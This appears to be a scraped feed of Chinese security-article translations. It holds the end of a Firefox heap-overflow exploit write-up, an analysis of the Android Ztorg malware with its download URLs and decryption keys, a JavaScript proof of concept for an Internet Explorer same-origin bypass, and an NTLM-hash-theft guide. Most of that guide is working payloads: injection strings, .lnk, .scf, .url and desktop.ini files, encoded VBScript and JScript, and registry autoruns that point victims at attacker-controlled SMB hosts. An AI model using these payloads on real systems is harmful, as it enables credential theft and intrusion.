mmap1MB mmap2MB,munmappreviouschunk mmap4MB,munmappreviouschunk ...... mmap8GB,munmappreviouschunk

因为当前块大小将总是大于所有先前块大小的总和,这将导致在我们的最终缓冲器之前有大量的可用空间。 理论上,我们可以简单地计算空闲空间的总和,然后再分配一个大的ArrayBuffer。 在实践中,这不工作,因为在服务器开始发送数据之后和在浏览器完成解压缩最后一个块之前将有其他分配。 jemalloc保留释放的内存的一部分以备后用。 相反,我们会尝试在浏览器释放后立即分配一个块。 这里是我们要做的事情:

JavaScript代码使用sync等待服务器

服务器将所有数据发送到下一次方的二(以MB为单位),因此在结束时只触发一次对realloc的调用。 浏览器现在将释放一个已知大小的块

服务器设置server_done_event ,导致JavaScript代码执行

JavaScript代码分配与上一个缓冲区大小相同的ArrayBuffer实例,填充可用空间

这被重复,直到我们发送0x80000001字节(因此强制最终缓冲区的分配)

个简单的算法在服务器端和客户端在步骤1中实现 。 使用这种算法,我们可以相当可靠地获得一个分配在我们的目标缓冲区后面,只喷洒几个兆字节的ArrayBuffer实例,而不是多个千兆字节。


减少网路负载

我们当前的漏洞需要通过网络发送4GB的数据。 这很容易解决:我们将使用HTTP压缩。 这里的好处是例如zlip 支持 “流式”压缩,这使得可以递增地压缩有效载荷。 这样,我们只需要将有效负载的每个部分添加到zlib流中,然后调用flush以获取有效负载的下一个压缩块,并将其发送到服务器。 服务器将在接收到该块时对该块进行解压缩并执行所需的动作(例如执行一个重分配步骤)。

这是在poc.py中的construct_payload方法中实现的 ,并设法将有效负载的大小减小到大约18MB。。


关于资源的使用

至少在理论上,漏洞需要相当多的内存:

一个8GB缓冲区,保存我们的“JavaScript”有效负载。 实际上,它更像是12 GB,因为在最后的realloc期间,4GB缓冲区的内容必须复制到一个新的8GB缓冲区

多个(大约6GB)缓冲区,由JavaScript分配以填充由realloc创建的空洞

大约256 MB的ArrayBuffers

然而,由于许多缓冲器从未被写入,它们不一定消耗任何物理存储器。 此外,在最后的realloc期间,只有4GB的新缓冲区将被写入到旧的缓冲区被释放之前,所以真正的“只”8 GB是必需的。

这仍然是很大的内存。 然而,有一些技术,如果物理内存变低,将有助于减少该数量:

内存压缩(macOS):大内存区域可以压缩和交换出来。 这是我们的用例的完美,因为8GB缓冲区将完全填充零。 这种效果可以在Activity Monitor.app中观察到,在某些时候显示超过6 GB的内存被“压缩”在利用期间。

页重复数据删除(windowslinux):包含相同内容的页面被映射为写时复制(COW),并指向同一物理页面(实质上将内存使用减少到4KB)。

CPU使用率也将在(解压缩)时被使用得相当高。 然而,CPU压力可以进一步减少通过发送有效载荷在较小的块之间的延迟(这将明显增加漏洞利用所需的时间)。 这也将给予OS更多的时间来压缩和/或去重复大的存储器缓冲器。


进一步改进的可能性

在当前的漏洞中有一些不可靠的来源,主要是处理时序:

在发送有效载荷数据期间,如果JavaScript在浏览器完全处理下一个块之前运行分配,则分配将“去同步”。 这可能导致失败的攻击。 理想情况下,一旦下一个块被接收和处理,JavaScript就会执行分配。 这可能通过观察CPU使用情况来确定。

如果垃圾收集循环在我们已经破坏FreeSpan之后但在我们修复它之前运行,我们就崩溃了

如果在我们释放了一些ArrayBuffer之后但是在触发溢出之前运行了一个可压缩的gargabe收集循环,则攻击将失败,因为Arena将再次被填满。

如果假的空闲单元恰好放置在释放的ArrayBuffer的单元格内,那么我们的漏洞将会失败,并且浏览器会在下一个gargabe收集周期中崩溃。 每个arena 有25个cells per,这给我们理论上的1/25失败的机会。 然而,在我的实验中,空闲单元总是位于相同的偏移量(到 Arena中的1216个字节),指示在开发开始时的引擎的状态是相当确定的(至少关于 Arena持有的状态大小为160字节的对象)。

从我的经验,如果浏览器没有大量使用,漏洞运行相当可靠(> 95%)。 如果10+个其他选项卡已打开,漏洞利用仍然有效,但如果目前正在加载大型Web应用程序,则可能会失败。


结论

虽然从攻击者的角度来看,这个漏洞并不理想,但它仍然可以被相当可靠地利用并且没有太多的带宽使用。 有趣的是看到各种技术(压缩,相同的页面合并,...)可以使一个更容易利用的bug。

想想如何防止这样的bug的可利用性,一些事情想起来了。 一个相当通用的缓解是保护页(每当以某种方式访问时,导致segfault的页)。 这些将必须在每个mmap分配区域之前或之后分配,并且因此将防止利用诸如这一个的线性溢出。 然而,它们不能防止非线性溢出,例如这个错误 。 另一种可能性是引入内部mmap随机化以分散遍及地址空间的分配区域(可能仅在64位系统上有效)。 这最好由内核执行,但也可以在用户空间中执行。


【漏洞分析】Firefox一个整数溢出导致的mmap区域越界写利用
【漏洞分析】Firefox一个整数溢出导致的mmap区域越界写利用
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://saelo.github.io/posts/firefox-script-loader-overflow.html

【木马分析】深入分析Android/Ztorg的最新变种

$
0
0
【木马分析】深入分析Android/Ztorg的最新变种

2017-03-26 11:45:21
来源:fortinet.com 作者:shan66

阅读:313次
点赞(0)
收藏





【木马分析】深入分析Android/Ztorg的最新变种

作者:shan66

稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

Ztorg,又称为Qysly,是Android恶意软件的最大家族之一。它于2015年4月首次现身,目前变种数量已经超过25个,截止2017年,其中一些变种仍然处于活跃状态。然而,关于Ztorg的技术说明却非常匮乏——好像只有最初的Ztorg.A样本的相关分析,所以我决定根据2017年1月20日检测到的较新版本的Android / Ztorg.AM!tr做一番深入的分析。

该样本以“Cool Video Player”身份示人,并且它的恶意活动是如此隐蔽,以至于最初我认为这是一个误报。但是,它绝非善类,不久您就会明白了。


【木马分析】深入分析Android/Ztorg的最新变种

寻找恶意代码

这个样本的manifest表明main activity位于com.mx.cool.videoplayer.activity.mainactivity中。


【木马分析】深入分析Android/Ztorg的最新变种

这个activity用于初始化多个SDK,但是从中没有检测到恶意行为:

com.adjust:调校SDK,用于应用程序的分析

com.batmobi:Batmobi,用于移动广告

com.catchgift:这显然是广告

com.marswin89:这是一个marsdaemon,该库用于保证应用程序的处于运行状态,但没有恶意行为。

com.squareup:移动支付

com.umeng:移动广告分析

那么,恶意代码到底在哪里呢?难道只是某个开发工具包中的一些“不太干净的”代码触发了警报(假阳性)吗?

我继续在这个应用程序的其他命名空间中进行寻找:

u.aly包含MobClick广告代码,

android.support.v4是应用开发标准。

命名空间e.i.o.q除了命名空间a调用函数之外,没有做任何事情。

所以,当我开始探索命名空间a…


字符串混淆

我立即注意到有许多经过混淆处理的字符串,并且忍不住要进行反混淆处理(要不咋叫Crypto Girl呢,对吧?)

例如,请看下列代码:


【木马分析】深入分析Android/Ztorg的最新变种

其中c.a()函数的实现代码如下所示:


【木马分析】深入分析Android/Ztorg的最新变种

简单来说,这就是将第一个和最后一个字节作为XOR密钥对字节数组的其余部分进行混淆处理。于是,我写了一个单独的python解码器,来模拟反编译代码。它的确很方便,不过要是使用JEB2脚本的话,可能会更好一些,这样就可以让它直接在反编译的输出中替换这些字符串了。

JEB脚本写起来很是需要一些技巧。Mine用于对反编译的类进行解析,并在每个类中使用c.a(new byte [] {...})来定位语句。许多情况下都会出现对这个解码函数的调用,例如v0 [6] = ca(new byte [] {...,以及 a = new String(c.a(new byte[]{....。因此,我们需要对其右侧的代码进行非常细致的分析。当检测到一个调用时,脚本就会对相应的值进行解码,并使用解码的结果将其替换掉。

例如,第一个图(左边)展示了a.a.a.的初始的反编译代码。第二个图展示了使用脚本处理后的结果。


【木马分析】深入分析Android/Ztorg的最新变种

【木马分析】深入分析Android/Ztorg的最新变种

这里使用的脚本可以从Github上下载。


模拟器检测

在解码的字符串中,我们注意到许多VirtualBox,QEMU之类的引用。这是模拟器检测,下面您会发现,这是一种非常高级的技术。

让我们回到执行的流程。主活动(MainActivity)的onCreate()方法会调用f(),f()会调用e.i.o.q.d()。通过逆向e.i.o.q.d(),我们发现该函数会检测是否在模拟器上运行。如果不是在模拟器上的话,它就只运行代码中的恶意部分,这正是沙盒没有记录下任何恶意活动的原因。

这个模拟器检测例程是一种非常复杂的技术,并且用途广泛。它能检测标准的Android模拟器、Genymotion模拟器、Bluestacks模拟器、BuilDroid虚拟机,以及使用TaintDroid的环境。

那么它是如何检测模拟器呢?它可以根据:

1.系统属性中的特定值。

2.与模拟器有关的IMEI、IMSI和电话号码的典型值。在Genymotion中,IMEI是可以定制的,但IMSI则不可以。在标准Android SDK模拟器上,这些都难以定制,除非给模拟器打补丁并重新编译模拟器。

3.存在特定文件。例如,/ dev / qemu_pipe。从AV分析师的角度来看,这是很难对付的,因为没有这些文件的话,许多模拟环境将无法正常工作。

4.检查特定系统文件中的某些值。需要特别指出的是,这是我第一次见到恶意软件检查/ proc / net / tcp中的值。这一点非常有趣:该文件是记录活动的TCP连接的。第一列对应于条目数,第二列是本地地址,第三列是本地端口,第四列是远程地址。在真实的设备上,我们会看到下列内容:

0:4604D20A:B512A3D13AD8...

但是在模拟器上,地址会被清零,这很容易注意到:

0:00000000:001600000000:0000

5.特定的TaintDroid类(dalvik.system.Taint)和注入的字段(FileDescriptor类中的名称和Cipher中的密钥)。这些代码可能是来自Tim Strazzere的反模拟器代码。


下载远程内容

我们已经看到,该样本实现了高级的仿真器检测功能。然而,许多正常的应用程序也会出于各种原因而做这些事情的。那么,恶意的代码究竟在哪里呢?当目前为止,我们仍然无法确认这不是一个误报。

其实,我们离真相已经越来越近了。当样本检测到并非在模拟器上运行之后,它就会发送一个HTTP请求到hXXp://bbs.tihalf.com/only/ [$ 1] /2.html ?。这正是我们在上一步中反混淆处理后得到的那个网址。[$ 1]被替换为gp1187(另一个反混淆后得到的字符串),并且将一个blob附加到url中,这里的blob是一个包含代码版本、SDK版本等信息的经DES加密的JSON对象。

它已经越来越可疑了。

响应是base64编码形式的,并用DES-CBC进行了加密(见类a.c.a):


【木马分析】深入分析Android/Ztorg的最新变种
密钥是硬编码的(就是反混淆处理后的字符串sokhlwej),IV是DES_e.IV = new byte [] {1,2,3,4,5,6,7,8}。好了,现在我们对服务器的响应进行解密:
【木马分析】深入分析Android/Ztorg的最新变种

我们注意到o和p含有一个关于Android包的链接。那么,它们被用到了吗? 是的! 检索JSON对象后,该样本就会读取o中的URL,并尝试下载该文件。如果o无法正常使用,它就会尝试p。


【木马分析】深入分析Android/Ztorg的最新变种

因此,基本上可以确定,这个样本会从hXXp://alla.tihalf.com/only/gp1187/gp1187.apk下载另一个Android软件包,并将其保存智能手机上。

但事情还没有这么简单,因为下载的APK不是明文形式的:


【木马分析】深入分析Android/Ztorg的最新变种

实际上,它是与0x99进行异或(参见类a.d.f的代码)处理后,才被复制到名为dba.jar的文件中的:


【木马分析】深入分析Android/Ztorg的最新变种

但是,这确实得到了一个有效的Android包:


【木马分析】深入分析Android/Ztorg的最新变种

然后呢?当然是加载刚才所下载的应用程序了!具体过程,请看下面取自a.d.n的相关代码。


【木马分析】深入分析Android/Ztorg的最新变种

这个应用程序的安装是通过DexClassLoader完成的,并且对最终用户来说是不可见的。

最后,它将调用该应用程序的一个方法。具体来说,它将加载JSON对象中的键q引用的类,并调用JSON对象的方法h:


【木马分析】深入分析Android/Ztorg的最新变种

在我们的样本中,q是n.a.c.q,h是c,所以这个样本将会调用n.a.c.q.c()。


小结

虽然这个Ztorg样本在隐藏其恶意行为方面做得非常好,但我们仍然可以确认它是恶意的,而不是误报。

它实现了许多模拟器检测功能。它会检测Android SDK模拟器,以及来自Genymotion、Bluestacks和BuilDroid的模拟器。它还会检测受感染的环境。它的这些检测是难以绕过的。

它使用基于XOR的字符串混淆。

它使用DES-CBC加密与远程服务器的通信。

它从远程服务器下载、安装并启动Android应用程序。

在本文的下篇中,我们将对下载的应用程序进行深入考察。


下篇

在本文的上篇中,我们看到Android / Ztorg.AM!tr会静默下载远程加密APK,并进行安装,然后在n.a.c.q类中启动一个名为c()的方法。在这篇文章中,我们将深入调查它究竟做了些什么。

下面是n.a.c.q的方法c()代码:


【木马分析】深入分析Android/Ztorg的最新变种

它会打印“world”,接着等待200秒,然后启动一个名为n.a.c.的线程。这里,需要注意的第一件事情是,这个样本实际上使用的是相同的字符串模糊例程,只不过这里的名称不是a.b.c.a(),而是a.a.p.a()。所以,我们需要对JEB2脚本进行相应的修改,以便对这些字符串进行反混淆处理:


【木马分析】深入分析Android/Ztorg的最新变种

内嵌的软件包

该样本会查找各种包(om.android.provider.ring.a,com.ndroid.livct.d)。如果找到了,就会启动它们。如果没有,就设法获取并启动它们。

它获取应用程序的方式也是非常奇葩的。默认情况下,它不会从Web下载,而是从代码本身存储的十六进制字符串中获取。如果这个字符串没有找到的话,那么它就只能从网络下载了。


【木马分析】深入分析Android/Ztorg的最新变种

它会通过这种方式来获取多个文件:Android应用程序、ELF可执行文件和脚本。所有这些都被嵌入在样本自身中。有时,它们是以加密形式嵌入其中的,这会给反病毒引擎造成不小的麻烦。其中,mainmtk.apk应用程序就属于这种情况,它是从DES加密的十六进制字符串中获取的。这里的DES密钥是使用定制的算法构建的,该算法由许多Base64编码和解码组成。


加密的文件下载

当文件从Web下载时,它们不是以明文形式发送的,而是通过XOR进行加密(见b.b.b.a.b类)。XOR密钥包含在加密信息流中。

通过对解密类实施逆向工程,我们可以实现相应的解密程序。Mine可以从在这里下载。

例如,一旦完成解密,从hxxp://ks.freeplayweb.com/lulu/bx下载的bx文件就会变成ELF可执行文件(获取root权限的漏洞利用代码):


【木马分析】深入分析Android/Ztorg的最新变种

创建脚本

该样本还使用了一些shell脚本。它们没有保存到asset或resource中,而是嵌入在代码中。这可能是为了阻止防病毒引擎进行直接匹配或找到这些脚本。

例如,下面的代码编写了一个名为boy的shell脚本。


【木马分析】深入分析Android/Ztorg的最新变种

该脚本如下所示,可用于运行shell命令。


【木马分析】深入分析Android/Ztorg的最新变种

文件汇总

现在让我们总结这个样本所使用的各种文件。这里包括一些应用程序和ELF可执行文件。如果你想在源代码中进行跟踪的话,可以到b.b.d.a命名空间中进行检索。

这些文件的本地存储位置位于该应用程序的目录中,具体来说是名为.zog或.zok的子目录中。注意,以点开头的名称能够实现隐身。


【木马分析】深入分析Android/Ztorg的最新变种

我们看到,这些文件主要分为三类:

工具,如busybox和supolicy。它们本身不属于恶意代码。Busybox用于支持Android上的各种Unix命令。Supolicy用于修改Android上当前的SE linux策略。

用来获取root权限的漏洞利用代码。例如,可执行文件Agcr32用于获取手机的root权限。如果它认为自己得手了,输出就会包含关键字TOY,具体见下文。这里是32位版本,但是如果需要的话,这个样本还会下载64位版本。


【木马分析】深入分析Android/Ztorg的最新变种

运行命令的脚本。


运行漏洞利用代码

一旦将用于获取root权限的漏洞利用代码下载到文件系统上,接下来就是运行它们了。为此,这个样本创建了一个运行sh的新进程,将shell命令写入进程的输出流,并读取输入流上的响应。


【木马分析】深入分析Android/Ztorg的最新变种

有效载荷

让我们把这些零部件组合起来。

样本将:

获取大量的漏洞利用代码、工具和脚本文件,它们可以用于获取root权限的。这些文件都嵌入在代码本身中,或从外部网站获取。

降低SE Linux策略的安全级别,然后尝试获取设备的root权限。

一旦获取了设备的root权限,真正的有效载荷就要上场了:

将某些系统文件替换为自己的版本。例如,它对原始/ system / bin / debuggerd进行备份,然后用它自己的.zog / .k文件替换它,为其赋予root权限,并更改其SE Linux安全上下文。

安装各种应用程序并运行它们。在这个样本中,这些应用程序是com.android.provider.ring.a、com.ndroid.livct.d和com.android.musitk.b。.zog / .k 这个ELF可执行文件还可以从远程服务器下载并安装其他应用程序。下面的屏幕截图表明.zog / .k启动了一个密码助手应用程序(am start -n),并且正在从http://api.agoall.com/进行下载(不再响应)。


【木马分析】深入分析Android/Ztorg的最新变种

因此,这明显是一个恶意软件,因为它会在受害者不知情的情况下获取设备的root权限,并利用此特权安装其他恶意应用程序。


小结

这里的样本是由上篇中介绍的Android / Ztorg.AM!tr样本偷偷下载的。

如您所见,这个恶意软件是非常先进的。它在代码中应用了字符串混淆、多级加密、获取root权限的漏洞利用代码以及各种工具和脚本。此外,这个恶意软件也很难从设备中删除,因为软件位于多处并替换了系统的二进制文件。

这个恶意软件被识别为Android / Ztorg.K!tr。它的sha256和是5324460dfe1d4f774a024ecc375e3a858c96355f71afccf0cb67438037697b06。

这个恶意软件的下载程序(见上篇)被识别为Android / Ztorg.AM!tr。

它的sha256和是2c546ad7f102f2f345f30f556b8d8162bd365a7f1a52967fce906d46a2b0dac4。



【木马分析】深入分析Android/Ztorg的最新变种
【木马分析】深入分析Android/Ztorg的最新变种
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1

【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界

$
0
0
【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界

2017-03-27 10:05:40
来源:brokenbrowser.com 作者:scriptkid

阅读:295次
点赞(0)
收藏





【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界

翻译:scriptkid

稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

几个月前,我们曾在Edge上玩耍过无域的about:blank页面。基本上,一个强有力的about:blank document可以无限制地访问任何域。该问题在最近关于CVE-2017-0002的补丁上得到修复,所以将不再起作用。同样由ActiveXObject/htmlFile引发的问题也在上周关于CVE-2017-0154的补丁中被修复了。如果你还没有阅读过前面提到两种达到UXSS/SOP绕过方式的文章,请现在就去查阅下,因为我们接下来的内容将假设你已经熟悉这两种方式。我们今天的目标是将我们之前Edge上的bug利用移植到IE上,这将很容易,因为微软对IE的不认真修复。先看下这些漏洞当前的状态:


【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界

在IE上创建一个无域的about:blank

在之前的bug上,我们使用data:uri来创建一个无域的blank,我们要怎么在IE上实现相同的结果呢?htmlFile再次给我们提供了帮助,因为补丁让我们无法再设置为任意域,但是我们依旧可以将其设置为blank或者无域。

为了创建一个无域的htmlFile,我们首先需要一个被销毁的document,也就是说,document将不复存在。我们如何在什么都没有的基础上创建东西?这是Neil deGrasse Tyson提出的另一个问题,我将做出最好的回复!事实上,思路很简单,我们只需要确保一切按照正确的顺序进行即可。

1、保存iframe的对ActiveXObject的引用

2、至少实例化一次htmlFile(这样IE就没有销毁掉它)

3、阻断iframe进程(这样IE就没有机会销毁我们的引用)

4、销毁iframe的document(用document.open)

5、再次实例化htmlFile,现在它是无域的了。

步骤2和3在这里非常重要,少了步骤2将导致我们无法保存一个可用的引用,少了步骤3将是IE可以销毁相应对象。我们之前已经在这篇文章中提到过线程阻断的思路。我们接下来将使用的线程阻断技术是非常直观的弹框。


无域的htmlFile

//Wewillattacktheiframebelow //<iframename="victim_iframe"src="https://www.google.com/recaptcha/..."></iframe> //Renderaniframe(wewilldestroyitsdocumentlater) document.body.insertAdjacentHTML('beforeEnd','<iframename="ifr"></iframe>'); //SaveareferencetoitsActiveXObject varifr_ActiveXObject=ifr.ActiveXObject; //MakesureIEdoesnotinvalidateourreference newifr_ActiveXObject("htmlFile");//Wedon'tevenneedsavethisinstance //BlocktheiFramesotheActiveXObjectobjectisneverdestroyed ifr.setTimeout('alert("DonotclosemeuntilthePoCfinishes,please.");'); 你是否意识到我们使用了setTimeout来执行阻断弹框?这是因为我们还需要继续做其他事,如果我们直接在iframe弹框,这将阻断UI导致后续功能不执行。我们现在的目标是在弹框期间销毁iframe的内容。记住,弹框是用来阻止IE销毁ActiveXObject的。

现在我们将销毁iframe的document并创建无域的htmlFile。如果你对document.open不熟悉,那么在这个PoC中,你可以将其类比为document.write。

//Destroytheiframedocument ifr.document.open(); //InstantiateadomainlesshtmlFile vardomainlessDoc=newifr_ActiveXObject("htmlFile");

现在,我们拥有了一个无域的htmlFile,我们所需要做的就仅仅是加载一个带有我们要访问的URL的iframe了。具体的做法在之前的冒险在无域的世界文章中提到过了。实质上,我们通过iframe加载任意的网站,将其修改为about:blank(iframe所属域)。接着我们就可以通过我们的无域htmlFile任意访问该blank(绕过SOP)。

//Injectthecodeinvictim'sinneriframe domainlessDoc.parentWindow.setTimeout("victim_iframe[0].location='javascript:alert(pare

上述适用于IE10和IE11,但只要稍微调整即可适用于IE6到IE11.我们不会在这里做调整,但如果你真的好奇,请让我知道。


【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界
[IE10/11上的PoC]

记住,htmlFile还有许多玩法在等着被发现,我相信这值得你花费一个下雨的午后来研究它。在我看来,修复htmlFile相关的bug的最好方式是完全禁止它在iexplore.exe上的实例化。

//IfthiscodereturnsACCESS_DENIEDattackerswillloseanamazingweapon newActiveXObject("htmlFile");//Donotallowthisanymore!

【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界
【技术分享】IE上的UXSS/SOP绕过-再次冒险在无域的世界
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://www.brokenbrowser.com/uxss-ie-domainless-world/

【技术分享】窃取NTLM HASH的多种奇妙方法

$
0
0
【技术分享】窃取NTLM HASH的多种奇妙方法

2017-03-27 11:23:47
来源:osandamalith.com 作者:pwn_361

阅读:505次
点赞(0)
收藏





【技术分享】窃取NTLM HASH的多种奇妙方法

翻译:pwn_361

稿费:140RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

当我们想使用Responder工具窃取windows的NTLM HASH时,经常会有一个疑问,用什么办法才能让Windows系统发送NTLM HASH值呢?经过一些实验后,我发现办法有很多,现在,我乐意将我发现的一些很酷的东西分享给大家,所以写了这篇文章。需要说明的是,在我们下面的攻击场景中,你不仅可以使用Responder偷取到NTLM HASH值,还可以直接使用SMBRelay攻击方法。


本地文件包含(LFI)

php中,利用include()函数可以实现解析网络路径的目的(在这里,大家自己想一下,为什么需要触发网络路径解析,触发网络路径解析后,为什么responder工具就有可能会抓取到NTLM HASH值呢?)。利用方法如下图:

http://host.tld/?page=//11.22.33.44/@OsandaMalith

下图是实验结果:


【技术分享】窃取NTLM HASH的多种奇妙方法

XML外部实体注入(XXE)

在这里,我使用了“php://filter/convert.base64-encode/resource=”脚本,该脚本能解析网络路径。

<?xmlversion="1.0"encoding="ISO-8859-1"?> <!DOCTYPEroot[<!ENTITYxxeSYSTEM"php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith"> ]> <root> <name></name> <tel></tel> <email>OUT&xxe;OUT</email> <password></password> </root>

下图是实验结果:


【技术分享】窃取NTLM HASH的多种奇妙方法

XPath注入(XPath Injection)

通常,在out-of-band(OOB) XPath注入攻击中,doc()函数可用于解析网络路径。利用方法如下:

http://host.tld/?title=Foundation&type=*&rent_days=*anddoc('//35.164.153.224/@OsandaMalith')

下图是实验结果:


【技术分享】窃取NTLM HASH的多种奇妙方法

mysql注入

在MySql out-of-band注入中,我写了一篇完整的帖子,大家可以看一下,可用到互联网中。你也可以使用“INTO OUTFILE”去解析一个网络路径。利用方法如下:

http://host.tld/index.php?id=1’unionselect1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00

下图是实验结果:


【技术分享】窃取NTLM HASH的多种奇妙方法

Regsvr32

偶然的一个机会,我发现Regsvr32竟然也能实现我们的目的,利用方法如下:

regsvr32/s/u/i://35.164.153.224/@OsandaMalithscrobj.dll

下图是实验结果:


【技术分享】窃取NTLM HASH的多种奇妙方法

批处理文件

利用批处理文件时,你有很多方法可以去实现目的:

echo1>//192.168.0.1/abc pushd\\192.168.0.1\abc cmd/k\\192.168.0.1\abc cmd/c\\192.168.0.1\abc start\\192.168.0.1\abc mkdir\\192.168.0.1\abc type\\192.168.0.1\abc dir\\192.168.0.1\abc find,findstr,[x]copy,move,replace,del,renameandmanymore!

下图是实验结果:


【技术分享】窃取NTLM HASH的多种奇妙方法

Windows自动完成(Auto-Complete)

你只需要在合适的位置输入“\\host\”,就可以自动完成,输入位置如下:


【技术分享】窃取NTLM HASH的多种奇妙方法

【技术分享】窃取NTLM HASH的多种奇妙方法

Autorun.inf

需要说明的是,这种方法只适用于Windows 7以下系统,因为在Windows 7以上系统中,这个功能被取消了。不过,你可以通过修改自动运行的组策略,重新启用这个功能。在实际运用时,最好确保Autorun.inf文件是隐藏的,方法如下:

[autorun] open=\\35.164.153.224\setup.exe icon=something.ico action=openSetup.exe

SHELL命令文件

你可以将它存储为“.scf”文件,一旦打开文件夹资源管理器,它将会尝试解析图标的网络路径。

[Shell] Command=2 IconFile=\\35.164.153.224\test.ico [Taskbar] Command=ToggleDesktop

Desktop.ini

Desktop.ini文件中包含了你要应用到文件夹的图标信息。我们可以将它用于解析一个网络路径。一旦你打开这个文件夹,它就会自动解析网络路径,就可以得到HASH,利用方法如下:

mkdiropenMe attrib+sopenMe cdopenMe echo[.ShellClassInfo]>desktop.ini echoIconResource=\\192.168.0.1\aa>>desktop.ini attrib+s+hdesktop.ini

需要注意的是,在XP系统中,Desktop.ini文件使用“IcondFile”代替了“IconResource”。

[.ShellClassInfo] IconFile=\\192.168.0.1\aa IconIndex=1337

快捷方式文件(.lnk)

我们可以创建一个包含网络路径的快捷方式文件,当你打开打时,Windows就会尝试解析网络路径。你还可以指定快捷键以触发快捷方式。对于图标位置,你可以使用一个Windows二进制文件、或位于system32目录中的shell32.dll、Ieframe.dll、imageres.dll、pnidui.dll、wmploc.dll等。

Setshl=CreateObject("WScript.Shell") Setfso=CreateObject("Scripting.FileSystemObject") currentFolder=shl.CurrentDirectory Setsc=shl.CreateShortcut(fso.BuildPath(currentFolder,"\StealMyHashes.lnk")) sc.TargetPath="\\35.164.153.224\@OsandaMalith" sc.WindowStyle=1 sc.HotKey="Ctrl+Alt+O" sc.IconLocation="%windir%\system32\shell32.dll,3" sc.Description="IwillStealyourHashes" sc.Save

下面是对应的Powershell版:

$objShell=New-Object-ComObjectWScript.Shell $lnk=$objShell.CreateShortcut("StealMyHashes.lnk") $lnk.TargetPath="\\35.164.153.224\@OsandaMalith" $lnk.WindowStyle=1 $lnk.IconLocation="%windir%\system32\shell32.dll,3" $lnk.Description="IwillStealyourHashes" $lnk.HotKey="Ctrl+Alt+O" $lnk.Save()
【技术分享】窃取NTLM HASH的多种奇妙方法

Internet快捷方式(.url)

另一个可以利用的快捷方式是Internet快捷方式,你可以将下面的代码存储为“.url”文件:

echo[InternetShortcut]>stealMyHashes.url echoURL=file://192.168.0.1/@OsandaMalith>>stealMyHashes.url

注册表自动运行

可以在下列路径中添加一个新的注册表项:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

需要添加的内容如下:


【技术分享】窃取NTLM HASH的多种奇妙方法

Powershell

在Powershell中,存在很多可以解析网络路径的小脚本,部分利用方法如下:

Invoke-Item\\192.168.0.1\aa Get-Content\\192.168.0.1\aa Start-Process\\192.168.0.1\aa

IE

IE可以解析UNC路径,利用方法如下:

<imgsrc="\\\\192.168.0.1\\aa">

你也可以将它注入到XSS中,或你发现的SQL注入场景中,例如:

http://host.tld/?id=-1'unionselect1,'<imgsrc="\\\\192.168.0.1\\aa">';%00

VBScript

你可以将下面的代码存储为“.vbs”文件,或者内嵌到Word/Excel文件的宏里面:

Setfso=CreateObject("Scripting.FileSystemObject") Setfile=fso.OpenTextFile("//192.168.0.100/aa",1)

你也可以将它应用到WEB网页中,不过这种方法只适用于IE:

S<html> <scripttype="text/Vbscript"> <!-- Setfso=CreateObject("Scripting.FileSystemObject") Setfile=fso.OpenTextFile("//192.168.0.100/aa",1) //--> </script> </html>

下面是编码过的版本,你可以将它进行编码,并存储为“.vbe”文件:

#@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2yczmCE~8#XSAAAA==^#~@

也可以在HTML文件中应用它。不过还是只适用于IE。你需要将它存储为“.hta”文件,利用方法如下:

<html> <scripttype="text/Vbscript.Encode"> <!-- #@~^ZQAAAA==jY~6?}'ZM2mO2}4%+1YcEUmDb2YbxocorV?H/O+h6(LnmDE#=?nO,sksn{0dWcGa+U:+XYsbVcJJzf*cF*cF*2yczmCE~8#XSAAAA==^#~@ //--> </script> </html>

JScript

利用这种方法时,需要将下面的代码存储为Windows的“js”文件:

varfso=newActiveXObject("Scripting.FileSystemObject") fso.FileExists("//192.168.0.103/aa")

同样,也可以应用于“.hta”文件中,不过还是只适用于IE:

<html> <scripttype="text/Jscript"> <!-- varfso=newActiveXObject("Scripting.FileSystemObject") fso.FileExists("//192.168.0.103/aa") //--> </script> </html>

编码版,需要存储为“.jse”文件:

#@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@

HTML版本:

<html> <scripttype="text/Jscript.Encode"> <!-- #@~^XAAAAA==-mD~6/K'xh,)mDk-+or8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*i0dGcsrV3XkdD/vJzJFO+R8v0RZRqT2zlmE#Ux4AAA==^#~@ //--> </script> </html>

Windows脚本文件

将下面的代码存储为“.wsf”文件:

<package> <jobid="boom"> <scriptlanguage="VBScript"> Setfso=CreateObject("Scripting.FileSystemObject") Setfile=fso.OpenTextFile("//192.168.0.100/aa",1) </script> </job> </package>

Shellcode

下面的Shellcode使用了CreateFile函数,并尝试读取一个不存在的网络路径。你可以使用类似Responder的工具抓取NTLM HASH值。通过修改Shellcode,攻击者甚至可以直接偷取网络中传输的其他HASH。也可以执行SMBRelay攻击。代码如下:

